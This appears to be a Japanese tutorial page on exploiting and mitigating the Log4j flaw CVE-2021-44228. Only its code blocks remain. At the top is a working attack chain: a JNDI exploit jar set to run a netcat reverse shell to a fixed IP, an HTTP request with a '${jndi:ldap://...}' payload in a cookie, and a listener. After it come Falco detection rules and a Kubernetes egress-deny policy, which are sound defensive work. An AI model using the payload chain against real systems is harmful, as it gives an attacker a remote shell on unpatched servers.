CVE-2021-44228の悪用と緩和：Log4j のリモートコード実行 (RCE)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 54.243.12.192 8083 -e /bin/sh" -A "54.243.12.192"

GET / HTTP/1.1
Host: 	:8080
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
X-Api-Version: aaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: test='${jndi:ldap://54.243.12.192:1389/0z6aep}'
Connection: close

nc -lvp 8083

- rule: Reverse shell
  desc: Detect reverse shell established remote connection
  condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6")
  output: >
    Reverse shell connection (user=%user.name %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip)
  priority: WARNING
  tags: [container, shell, mitre_execution]
  append: false

- rule: Run shell untrusted
  desc: an attempt to spawn a shell below a non-shell application. Specific applications are monitored.
  condition: >
    spawned_process
    and shell_procs
    and proc.pname exists
    and protected_shell_spawner
    and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries,
                           needrestart_binaries,
                           mesos_shell_binaries,
                           erl_child_setup, exechealthz,
                           PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf,
                           lb-controller, nvidia-installe, runsv, statsite, erlexec, calico-node,
                           "puma reactor")
    and not proc.cmdline in (known_shell_spawn_cmdlines)
    and not proc.aname in (unicorn_launche)
    and not consul_running_net_scripts
    and not consul_running_alert_checks
    and not nginx_starting_nginx
    and not nginx_running_aws_s3_cp
    and not run_by_package_mgmt_binaries
    and not serf_script
    and not check_process_status
    and not run_by_foreman
    and not python_mesos_marathon_scripting
    and not splunk_running_forwarder
    and not postgres_running_wal_e
    and not redis_running_prepost_scripts
    and not rabbitmq_running_scripts
    and not rabbitmqctl_running_scripts
    and not run_by_appdynamics
    and not user_shell_container_exclusions
  output: >
    Shell spawned by untrusted binary (user=%user.name user_loginuid=%user.loginuid shell=%proc.name parent=%proc.pname
    cmdline=%proc.cmdline pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3]
    aname[4]=%proc.aname[4] aname[5]=%proc.aname[5] aname[6]=%proc.aname[6] aname[7]=%proc.aname[7] container_id=%container.id image=%container.image.repository)
  priority: DEBUG
  tags: [shell, mitre_execution]

- rule: Launch Suspicious Network Tool in Container
  desc: Detect network tools launched inside container
  condition: >
    spawned_process and container and network_tool_procs and not user_known_network_tool_activities
  output: >
    Network tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname
    container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [network, process, mitre_discovery, mitre_exfiltration]
- rule: Launch Remote File Copy Tools in Container
  desc: Detect remote file copy tools launched in container
  condition: >
    spawned_process
    and container
    and remote_file_copy_procs
    and not user_known_remote_file_copy_activities
  output: >
    Remote file copy tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname
    container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [network, process, mitre_lateral_movement, mitre_exfiltration]

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-egress
  namespace: log4j
spec:
  podSelector: {}
  policyTypes:
  - Egress